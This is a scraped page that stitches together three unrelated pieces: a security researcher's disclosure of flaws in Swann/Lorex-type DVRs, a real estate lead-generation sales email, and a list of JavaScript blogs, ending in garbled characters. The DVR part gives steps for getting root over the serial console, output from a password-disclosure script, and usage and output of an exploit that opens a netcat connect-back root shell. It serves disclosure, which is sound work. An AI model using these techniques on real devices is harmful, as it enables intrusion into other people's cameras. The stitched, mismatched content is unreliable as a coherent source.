Real Estate News and Information in Silicon Valley

Friday, August 28, 2020

Swann Song - DVR Insecurity

"Swan song" is a metaphorical phrase for a final gesture, effort, or performance given just before death or retirement. This post serves as the "swan song" for a whole slew of DVR security systems. With that being said, I will refer to the lyrical master MC Hammer, lets turn this mutha' out.

I recently had a chance to get my hands on a 4 channel DVR system system sold under a handful of company banners (4/8/16 channels) - Swann, Lorex, Night Owl, Zmodo, URMET, kguard security, etc. A few device model numbers are - DVR04B, DVR08B, DVR-16CIF, DVR16B
After firing up the device and putting it on the network I noticed that it was running a telnet server, unfortunately the device does not appear to come configured with an easy/weak login :(. Time to open it up and see whats going on :)

After opening the device up something grabbed my attention right away....

The highlighted header looked like a pretty good possibility for a serial port, time to break out the multi-meter and check. After a couple power cycles, the header was indeed a serial port :)

After hooking up my usb to serial breakout board to the device serial port and guessing at the following serial settings: 115200 8-N-1 , I was stuck looking at a login prompt without a working login or password.

Lucky for me the device startup can be reconfigured using the u-boot environment. The environment variable "bootargs" can be adjusted to boot the linux system into single user mode by appending "single" to the end of the existing settings:

setenv bootargs mem=68M console=ttyAMA0,115200 root=1f01 rootfstype=jffs2 mtdparts=physmap-flash.0:4M(boot),12M(rootfs),14M(app),2M(para) busclk=220000000 single

This change to the bootargs variable is only temporary at this point, if we were to power cycle the device the change would be lost. It is possible to write these changes to the device, but in this case we only want to boot into single user mode once. To boot the device you need to tell the boot loader where the kernel exists in memory, this value can be found in the default environment variable "bootdcmd".

Once the device is booted up in single user mode, the root password can be reset and the device can be rebooted. Telnet now works, but what fun is that when these devices don't normally expose telnet to the internet :). Now for the real fun...looking at the device the default configuration is setup to auto-magically use the power of the dark lord satan (uPnP) to map a few ports on your router (if it supports uPnP). One of the ports that it will expose is for the web (activeX) application and the other is the actual comms channel the device uses (port 9000). The first item I looked at was the web application that is used to view the video streams remotely and configure the device. The first thing that I found with this lovely device is that the comms channel (9000) did not appear to do any authentication on requests made to it...Strike 1. I imagine the activeX application that is used to connect to the device could be patched to just skip the login screen, but that seems like a lot of work, especially when there are much easier ways in. The next thing I saw was a bit shocking...when you access the application user accounts page the device sends the application all the information about the accounts stored on the device. This includes the login and password. In clear text. Strike 2. I created a small PoC in python that will pull the password from a vulnerable device:

python getPass.py 192.168.10.69
[*]Host: 192.168.10.69
[+]Username: admin
[+]Password: 123456

Script can be found here.

After owning the device at the "application" level, I figured it was time to go deeper.

Port 9000 is run by a binary named 'raysharpdvr'. I pulled the binary off the device and started going through it looking for interesting stuff. First thing I noticed was the device was using the "system" call to carry out some actions, after chasing down these calls and not seeing much, the following popped up:

"sprintf" with user input into a "system", that'll do it. Couple problems to overcome with this. First in order to use this vector for command injection you must configure the device to use "ppp" - this will cause the device to go offline and we will not be able to interact with it further :(. We can get around this issue by injecting a call to the dhcp client appliction ("udhcpc") - this will cause the device to use dhcp to get its network information bypassing the previous "ppp" config. The other issue is once we have reconfigured the device to run our command, it needs to be restarted before it will execute (its part of the init scripts). The application does not actually provide a way to reboot the device using the web interface, there is a section that says 'reboot', but when it is triggered nothing happens and some debugging information displayed in the serial console saying the functionality is not implemented. Lucky for us there are plenty of overflow bugs in this device that will lead to a crash :). The device has a watchdog that polls the system to check if the "raysharpdvr" application is running and if it does not see it, it initiates a system reboot - very helpful. With those two issues out of the way the only thing left is HOW to talk to our remote root shell that is waiting for us....luckily the device ships with netcat built into busybox, -e flag and all :)

Usage: sploit.py <target> <connectback host> <connectback port>
$ python sploit.py 192.168.10.69 192.168.10.66 9999
[*]Sending Stage 1
[*]Sending Stage 2
[*]Rebooting the server with crash....
Ncat: Version 5.21 ( http://nmap.org/ncat )
Ncat: Listening on 0.0.0.0:9999

Strike 3, get this weak shit off my network. The script can be found here. The script relies on the web application running on port 80, this is not always the case so you may need to adjust the script to fix if your device listens on another port. It is also worth noting that it may take a few minutes for the device to reboot and connect back to you.

Unfortunately the web server that runs on this device does not behave correctly (no response headers) so I do not believe finding these online is as easy as searching shodan, however it is possible to fingerprint vulnerable devices by looking for hosts with port 9000 open.

tl;dr; A whole slew of security dvr devices are vulnerable to an unauthenticated login disclosure and unauthenticated command injection.

More info

Free leads from Zillow - Replay (.mp4)

Yesterday I did a live workshop with The Close on a hack you can use to get free leads from zillow.

I walk you through everything -- free tools, scripts, how to execute them, etc.

Here's the replay link if you missed it...

-> How to Get Free Zillow Leads - Webinar Replay (.mp4)
Video includes 3 free apps + 2 free scripts

As usual I will be taking the workshop down in 48hrs.

Until then, I want to issue you a challenge.

Be an action taker. Watch the video, and implement it TODAY. 80% of agents will sit on the workshop and do nothing, 20% will take action this afternoon. Which group are you going to be in?

At the end of the webinar... I discussed my lead gen software Pipeline Pro Tools. Now you do NOT need Pro Tools to follow the strategy. But it WILL make it 100x easier and more effective.

If you want to check out Pro Tools, you can get a 20-min demo HERE. We have 5 demo slots left for the entire week. They will go quick.

In all likelihood, by the time you read this email, we will be booked for the week. If you want to get Pro Tools before the deal expires, but you have questions before you buy, you can text me directly at 910-670-7733.

^ That's my real iphone number, so please don't abuse it. But it would be my honor to chat with you 1:1 before you officially "join the team".

Have a fantastic weekend.

All the best,

-Chris Jones

Top10 Java Script Blogs To Improve Coding Skills

10 Top JavaScript Blogs to Improve Coding Skills

The Best JavaScript Blogs

With two decades of improvement, JavaScript has become one of the most popular programming languages of all time. The journey started in 1995 when Brendan Eich created JavaScript in just 10 days. From there, it has seen multiple revisions, drafts, and growth in the form of frameworks, API's, modules, etc. Today, we will go forward and list the top JavaScript blogs from the internet so that you can enjoy the lastest development in the field of JavaScript.

According to RedMonk programming language rankings and GitHut.info, JavaScript is leading the pack in the terms of repositories and the most discussed programming language on StackOverFlow. The numbers itself speaks about the future of JavaScript as it has grown beyond the initial capabilities of simple DOM manipulations.

Learning JavaScript, on the other hand, can be a tricky proposition. New libraries, features, API's or Style Guide, pop up almost every day. The speed of iteration is beyond imagination, and that is why reading leading JavaScript blogs are the best approach to keep up with new changes.

JavaScript is blessed with experts that regularly contribute to the community using live streams, videos, blogs, podcasts, conferences and open source projects. An example of a cool experienced Javascript programmer is evilsoft who broadcasts awesome Javascript projects weekly on LiveEdu..

Some blogs are just gold even when they are not updated frequently. To help you reach the best content on JavaScript, let's list the best JavaScript blogs on the internet. The following blogs have a huge fan following and contain epic JavaScript content.

10 Top JavaScript Blogs to Improve Coding Skills

1. David Walsh Blog

David Walsh is a renowned name in the JavaScript world. He started his career with DZone, but his first real break came while working for SitePen as a Software Engineer. His blog composes of topics related to JavaScript, personal thoughts, guides and much more. The blog design is captivating and is going to hook you up on the first visit. Currently, he is working as a Senior Web Developer at Mozilla.

top javascript blogs

2. DailyJS

DailyJS is one of the best JavaScript blogs on the internet. The blog was started by Alex R. Young, an entrepreneur and Node.js expert in 2009. However, there are recent changes that don't sound great. Currently, the blog is no longer updated, but that does not make the content useless at all. The blog covers diverse content on JavaScript including frameworks, API's, libraries, etc.

2-daily-js

3. SitePoint

SitePoint is one of the leading web development portals since 2000. The main attraction of SitePoint is the collection of highly detailed articles. They are aimed at teaching something new to the readers. JavaScript, on the other hand, is one of the leading topics on the website where experts around the world contribute regularly. The rate of the new blog post is high, and you won't find a blog post that doesn't teach you something new. Truly, a great learning place for any JavaScript developer.

3-Sitepoint

4. JavaScript.com

Not technically a blog, but if you love JavaScript, then you need to follow the website's offerings. JavaScript.com news section is an aggregator for excellent JavaScript news, tutorials, guides, and much more. All you need to do is move to their news section and discover tons of new content surrounding JavaScript. The domain is owned by CodeSchool and is mainly utilized to contribute to the community and a landing page to their courses.

4-JavaScript

5. Brendan Eich

What's the best place to find JavaScript knowledge? The inventor? Well, you are right. Brendan Eich, the creator of JavaScript, keeps his blog with filled with his musings and other excellent thought processes about JavaScript. You can also find videos on the blog. Virtually, the blog is the mind of JavaScript where you understand it in an entirely different manner.

5-brendan-eich

6. JavaScript Playground

JavaScript Playground is yet another great place to get started with all the different JavaScript frameworks, API, and libraries. The focus is to work with the JavaScript ecosystem and provide high quality blog articles, screencast, and podcast for the audience. They also blog about different JavaScript guidelines, tips, and tricks.

6-JavaScript-Playground

7. Superhero.js

If you are looking for a superhero to fetch you the best resources on JavaScript, then you have finally found one. Superhero.js is a simple website that aims to collect everything related to JavaScript including videos, articles, presentations, etc. The content is divided into meaningful sections such as "Understanding JavaScript", "Organize Your Code", etc. Also, the page is regularly updated with new information.

7-superhero

8. JavaScript Jabber

Another "not a blog entry" into the list — JavaScript Jabber is a weekly podcast on JavaScript. Each podcast is around 1 hour of jabber and will sure have something for you to learn. They keep their tab on everything related to JavaScript, including core concepts to popular Framework discussions.

8-JavaScript-Jabber

9. Medium JavaScript Collection

Is medium a blog? Technically, not, but it contains high quality JavaScript articles. Medium is a way to connect to the audience so be ready to read many opinions on how JavaScript should have been, and what's wrong with JavaScript. Other than the ramblings, it hosts amazing JavaScript content such as Speed Up Web Apps.

9-JavaScript-collection-medium

10. Smashing Magazine

Smashing Magazine is one of the oldest websites covering web designing and development. They have a dedicated section for JavaScript, which is constantly updated with tutorials of high caliber. The tutorials surround other web development ideas such as UX, Productivity, etc.

10-smashing-magazine

Conclusion

Here are the ten best JavaScript blogs to improve your coding skills. The blogs and mix of other content types will help you to keep up with new changes in JavaScript field, and improve yourself accordingly.

If you are new to JavaScript and want to get started as soon as possible, check out the JavaScript learn section on LiveEdu.tv. And, yes, it is the most popular programming language on LiveEdu.tv which can benefit from your attention! Also, don't forget to leave a comment on how the JavaScript category page can be improved. We are listening!

Dr. Michael J. Garbade

About Author Dr. Michael Jurgen Garbade is the founder of LiveEdu.TV, Kyuda, Education Ecosystem. He is future Venture Capitalist, Future Politician and always on the lookout for the Next Big Challenge. Obtained Masters in business administration and physics, and a Ph.D. in finance with professional work experience in high-paced environments at Fortune 500 companies like Amazon and General Electric. Expertize: Python, PHP, Sencha Touch & C++, SEO, Finance, Strategy & E-commerce. He speaks English and German and has worked in the US, Europe, and Asia. At Education Ecosystem he is the CEO and runs business operations.

@£√£RYTHING NT

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